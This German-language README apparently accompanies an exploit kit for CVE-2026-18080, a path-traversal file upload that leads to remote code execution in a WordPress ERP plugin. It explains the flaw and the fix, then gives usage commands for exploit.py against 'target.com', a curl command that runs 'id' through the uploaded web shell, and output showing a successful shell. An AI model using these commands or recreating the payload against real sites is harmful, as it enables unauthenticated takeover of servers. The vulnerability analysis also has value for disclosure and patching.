
Exploit für CVE-2026-18080, einen nicht authentifizierten, beliebigen Datei-Upload, der zu RCE in ERP Complete HR, Accounting & CRM Suite führt. Enthält Python- und PHP-Skripte für die automatisierte Ausnutzung.
| Feld | Wert |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Patch | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Kritisch) |
| CWE | CWE-434 (Unbeschränkter Upload von Dateien mit gefährlichem Typ) |
| Betroffen | ERP-Plugin-Versionen <= 1.17.7 (behoben in 1.17.8) |
Die save_attachments()-Funktion des ERP-Plugins in GmailSync.php verarbeitet eingehende E-Mail-Anhänge von IMAP ohne Pfadnormalisierung. Ein Angreifer kann eine E-Mail mit einem Dateinamen wie ../../plugins/shell.php und einem gefälschten References-Header, der dem erwarteten Muster des Plugins entspricht, erstellen. Der cron-basierte IMAP-Synchronisierungsjob schreibt die Datei außerhalb des durch .htaccess geschützten Verzeichnisses crm-attachments/ in einen beliebigen beschreibbaren Pfad unter wp-content/.
In GmailSync.php (v1.17.7):
$name = $item['name']; // Keine basename()- oder Pfadnormalisierung
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
Der Dateiname ../../plugins/shell.php, verkettet mit $dir (wp-content/uploads/crm-attachments/), löst zu wp-content/plugins/shell.php auf — ein Verzeichnis, in dem die Ausführung von PHP erlaubt ist.
Der Fix (v1.17.8) fügt sanitize_attachment_filename() hinzu, das Verzeichniskomponenten über basename() entfernt, Pfadtrennzeichen ablehnt und gefährliche Erweiterungen blockiert.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
Nach erfolgreichem Upload:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| Datei | Beschreibung |
|---|---|
exploit.py | Python-Exploit-Skript mit wp-cli |
exploit.php | Eigenständiger PHP-Exploit für wp eval-file |
README.md | Diese Datei |